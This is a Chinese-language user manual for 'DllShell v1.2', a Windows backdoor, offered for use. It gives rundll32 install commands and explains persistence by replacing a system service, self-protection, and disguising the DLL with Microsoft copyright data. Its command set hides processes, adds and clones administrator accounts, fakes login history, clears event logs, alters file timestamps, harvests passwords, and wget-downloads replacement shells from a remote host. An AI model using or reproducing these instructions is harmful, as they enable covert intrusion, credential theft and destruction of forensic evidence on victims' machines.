DllShell v1.2 by nop http://www.ph4nt0m.org
有几个功能函数是参考&修改于Nameless Shell的代码,在此对作者的开源精神表示感谢. 如果发现任何bug或者有任何建议,请和我联系,谢谢!
后门使用 ======================================================================== 配置: setdll.exe -w dllshell.dll //写入后门配置 setdll.exe -r dllshell.dll //读取后门配置
安装: rundll32 dllshell.dll,I password //I和password之间只有一个空格
卸载: rundll32 dllshell.dll,R password //然后重启即可
Q&A ========================================================================= Q: DllShell的启动方式? A: 后门采用替换系统原有服务的方法实现自启动,请替换服务前,确定该服务存在,否则后门可能安装失败.
Q: 如何知道后门安装成功? A: 确认是否安装成功,请查看system32目录下面生成的dllshell.log文件,里面有安装过程的信息. 后门运行过程中不会生成log,请放心使用 :-)
Q: 如何卸载后门? A: 后门启动时自动开启了自我保护线程(包括注册表项, 自身dll文件保护, IP变更通知). 如果要卸载后门,请先执行shield off命令,挂起保护线程,然后重启机器即可.
Q: 如何连接后门? A: 连接后门请使用nc或者putty,使用系统自带的telnet是无法连接上后门的. (why? telnet是一个字符一个字符发送,nc是在用户按下Enter后将用户缓冲一次发出) 正连或者反连成功后,没有任何提示符,请输入正确密码,即可看见欢迎banner. 还要注意的是,如果连上10s内没有输入密码,后门会自动断开
Q: 如何配置后门? A: 请在dllshell.ini里面填写适当的信息,然后用setdll.exe -w dllshell.dll将配置写入 如果不放心写入的信息,可以用setdll.exe -r dllshell.dll 查看写入的配置
Q: 如何让后门融入系统dll大家庭? A: 你可以用资源修改工具如ResHacker或者Restorator给dll添加上Microsoft的版权信息. 如果想使后门更小巧,请用WinUpack等工具压缩即可.
Q: 后门有哪些特点? A: 请看后面的命令说明,功能还是挺全的.而且有时间还会不断添加.
命令详细说明 =========================================================================== ps -l 枚举进程 ps -k <PID|ProcName> 结束进程,可用PID或者进程名 ps -d <PID|ProcName> 在结束进程的基础上,然后删除进程的映象文件,可以对付某些弱智木马 :-) ps -m <PID|ProcName> 列举指定进程的模块,包括模块名(Module Name) 加载基址(Base Address)和映象路径(ImagePath) ps -mv <PID|ProcName> 列举指定进程的模块,包括模块名(Module Name) 和文件版本号(FileVerison), 比如: Module FileVersion ============================================================================= USER32.dll 5.00.2195.6897
ps -md <PID|ProcName> 列举指定进程的模块,包括模块名(Module Name) 和文件描述(FileDescription) 比如: Module FileVersion ============================================================================= USER32.dll Windows 2000 USER API Client DLL
ps -mc <PID|ProcName> 列举指定进程的模块,包括模块名(Module Name) 和公司名称(CompanyName) 比如: Module CompanyName ============================================================================= USER32.dll Microsoft Corporation
ps -h <PID|ProcName> 隐藏指定的进程,可用PID或者进程名 此段代码非我写,改写自pjf的HideProcess.cpp,自然不能过Icesword :-)
User -e 枚举系统用户
User -a <UserName> [UserPassword] 添加指定用户到Administrators组,并且密码永不过期, 如果不指定UserPassword,则为空密码
User -d <UserName> 删除指定用户
User -n <UserName> 将指定用户的"上次登录"改为"从不",同时修改该用户成功登录次数为0
User -c <Src_UserName> <Dest_UserName> [Dest_UserPassword] 克隆帐号,也可恢复克隆的帐号,将Src_UserName,Dest_UserName同时设为Dest_UserName即可恢复克隆的帐号.
User -cc 检测克隆帐号
Netstat -t 枚举TCP连接
Netstat -te 只列出Established状态的TCP连接
Netstat -u 枚举UDP本地端口
Netstat -a 等于Netstat -t 加上Netstat -u
Netstat -k <Local_IP:Local_Port> <Remote_IP:Remote_Port> 断开已经建立的TCP连接(IP,端口用:隔开即可) 比如 netstat -k 192.168.0.1:3333 192.168.0.2:4444
Svc -ew 枚举Win32服务
Svc -es 枚举Driver服务
Svc -start <ServiceName> 启动指定服务
Svc -stop <ServiceName> 停止指定服务
Svc -d <ServiceName> 删除指定服务
Svc -c <ServiceName> <ServiceType> 设置服务的启动方式 ServiceType为: Auto/Demand/Disable(自动/手动/禁用)
Svc -q <ServiceName> 查询指定服务的详细信息. 比如svc -q w32time, 返回如下信息: Service Information: --------------------------------------- ServiceName: bits DisplayName: Background Intelligent Transfer Service Description: 用闲置网络带宽在后台传输文件。如果此服务被禁用,那么任何依赖于 BITS 的功能,例如 Windows Update 或 MSN Explorer,都将不能自动 下载程序和其它信息。 ImagePath: C:WINNTSystem32svchost.exe -k BITSgroup ServiceDll: C:WINNTSystem32qmgr.dll StartName: LocalSystem Dependencies: LanmanWorkstation Rpcss SENS Wmi ErrorControl: Normal StartType: Manual CurrentState: Stopped
Service Information Complete.
Shutdown -i <Message> [TimeOut] 初始化关机过程,Message为显示给当前用户的消息,如果TimeOut未指定,默认为60s.
Shutdown -a 取消关机过程.
Shutdown -r 重启
Shutdown -s 关机
Shutdown -p 关闭电源
Shutdown -l 注销
Term -i [Port] 安装终端服务,如果Port不指定,默认为3389.
Term -p [Port] 更改终端服务端口,如果Port未指定,则查询当前终端服务端口.
-------------------------------------------------------------------------------------- CD/CD. 显示当前目录 CD.. 返回上级目录 CD <Dir> 改变当前目录
MD/RD <Dir> 删除目录
DEL <FileName> 删除文件
DIR|LS [Pattern] 显示文件和目录,Pattern支持通配符,例如dir *.exe
--------------------------------------------------------------------------------------
AutoRun -e 枚举注册表里面的启动项,相当全面.
AutoRun -d <i> <j> 删除指定启动项目. 比如,autorun -e, 返回如下信息:
16.[HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun] ------------------------------------------------------------------------ [0]Internat.exe: internat.exe
用autorun -d 16 0, 即可删除"[0]Internat.exe:"项目
Mouse -l/u 锁定/解除锁定鼠标指针
Mouse -s/r 交换/恢复鼠标左右键 Assoc 枚举一些关键扩展名的执行关联,很老的马才会用这招了. 比如输入assoc, 返回信息如下: 文件关联: ----------------------------- 项目名称 状态(异常标志: ==> ) -------- ---- exe文件: "%1" %* com文件: "%1" %* bat文件: "%1" %* cmd文件: "%1" %* pif文件: "%1" %* scr文件: "%1" /S txt文件: ==> n0tepad.exe %1 ini文件: %SystemRoot%System32NOTEPAD.EXE %1 inf文件: %SystemRoot%System32NOTEPAD.EXE %1 reg文件: regedit.exe "%1"
Clog 清除系统日志(包括应用程序/安全性/系统)
Exec <ExecuteFileName> 执行可执行文件
FindPass 查找2k/Nt的用户口令. 修复Nameless里面findpass的两个bug: (system权限不能获取domain/username和只能查找一个winlogon进程的小bug)
FileTime <FileName> <DateTime> 修改指定文件的创建日期和最后修改时间 到 DateTime指定的时间 DataTime的格式为yyyymmddhhmmss,如20060524152307 注:可以修改具有只读,隐藏,系统属性的文件时间
Help|? 帮助
LockPC 锁定工作站的桌面
Shell [CmdFile] 打开CMD命令行,如果CmdFile未指定,默认为cmd.exe 如果管理员删除了cmd.exe,或者修改了cmd.exe的权限; 你可以先wget个自己的mycmd.exe,然后Shell mycmd.exe即可
Shield <On|Off> 恢复/挂起自我保护线程,如果要卸载后门,请先Shield Off
SysInfo 收集系统配置信息,比较详细:-) 比如sysinfo, 返回信息如下: 系统信息 -------------------------------------- 系统版本: Microsoft Windows 2000 Advance Server Service Pack 4.0(Build 2195) 产品ID: 52273-005-6861993-09773 安装路径: H:WIN2000PROI386 安装时间: 2046-1-20, 15:22:56 注册组织: Microsoft 注册用户: BillGates 主机名: WEB_SERVER Windows目录: C:WINNT 系统目录: C:WINNTsystem32
CPU个数: 1个 CPU[0]: Intel(R) Pentium(R) 4 CPU 2.40GHz频率: 2391MHz 内存容量: 255MB Total, 31MB Free. 显示属性: 1024 x 768, 刷新率: 85Hz, 色深: 32bit 运行时间: 0天 00:10:32
盘符[卷标] 驱动器|文件系统 总大小|可用空间 百分比 ----------------------------------------------------------------------------- C:| 硬盘|NTFS 12001MB| 92MB 11.7G| 0.1G 0.8% D:|本地磁盘 硬盘|FAT32 15633MB| 125MB 15.3G| 0.1G 0.8% E:| 硬盘|FAT32 15633MB| 93MB 15.3G| 0.1G 0.6% F:| 硬盘|FAT32 15633MB| 3708MB 15.3G| 3.6G 23.7% G:|本地磁盘 硬盘|FAT32 15610MB| 59MB 15.2G| 0.1G 0.4% H:| 光驱|无碟 0MB| 0MB 0.0G| 0.0G 0.0% I:| 网络驱动器| 0MB| 0MB 0.0G| 0.0G 0.0%
硬盘总容量: 74513MB|72.8G 剩余空间: 4078MB|4.0G 可用百分比: 5.5%
本机IP -------------------------------------- IP[0]: 192.168.0.1
Wget <URL> [SaveFileName] Http下载文件到system32目录下面, 注意URL前面要加上http:// 如果SaveFileName没指定,则使用URL里面的文件名 比如, wget http://192.168.0.2/cmd.exe mycmd.exe 则保存的文件名为mycmd.exe wget http://192.168.0.2/cmd.exe 则保存的文件名为 wget http://192.168.0.2/cmd.exe 则保存的文件名为cmd.exe
Quit|Exit 退出Dllshell. |